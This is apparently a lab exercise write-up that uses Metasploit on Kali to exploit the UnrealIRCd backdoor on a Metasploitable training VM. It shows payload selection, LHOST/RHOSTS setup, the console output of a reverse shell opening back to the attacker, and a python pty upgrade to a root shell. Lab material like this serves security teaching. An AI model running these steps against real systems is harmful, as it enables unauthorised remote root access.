Lab – 1 : Attack Metasploitable machine using Metasploit on Kali

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type
                                       sapni
   RHOSTS                    yes       The target host(s), see https://docs.metaspl
   RPORT    6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

Fig1 : Turning on the msfconsole in the kali terminal

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                  Disclosure Date  Rank    Check  Description
   -   ----                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser              .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl            .                normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6       .                normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby            .                normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6       .                normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic              .                normal  No     Unix Command, Generic Command Execution
   6   payload/cmd/unix/reverse              .                normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl  .            normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   payload/cmd/unix/reverse_perl         .                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   payload/cmd/unix/reverse_perl_ssl     .                normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  payload/cmd/unix/reverse_ruby         .                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl     .                normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet  .          normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD 6
PAYLOAD => cmd/unix/reverse
```

Fig2 : Look for the payload to select from the list

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format t
                                       sapni
   RHOSTS   192.168.29.222   yes       The target host(s), see h
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an inte
   LPORT  4444             yes       The listen port
```

Fig 3 : Show options to see the current configuration

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.4.193
LHOST ⇒ 192.168.4.193
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:por
                                       5, http, socks5h
   RHOSTS   192.168.4.195    yes       The target host(s), see https://docs.
                                       l
   RPORT    6667             yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.4.193    yes       The listen address (an interface may be
   LPORT  4444             yes       The listen port
```

Fig 4 : Set the LHOST option with your own IP Address

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.4.193:4444
[*] 192.168.4.195:6667 - Connected to 192.168.4.195:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostnam
[*] 192.168.4.195:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo DGFVQEQGrAI7dcdE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "DGFVQEQGrAI7dcdE\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 2 opened (192.168.4.193:4444 → 192.168.4.195:58

whoami
root
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash');"
root@metasploitable:/etc/unreal# uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
root@metasploitable:/etc/unreal#
```

Fig 5 : Exploit to execute the msfconsole, and Gain the Shell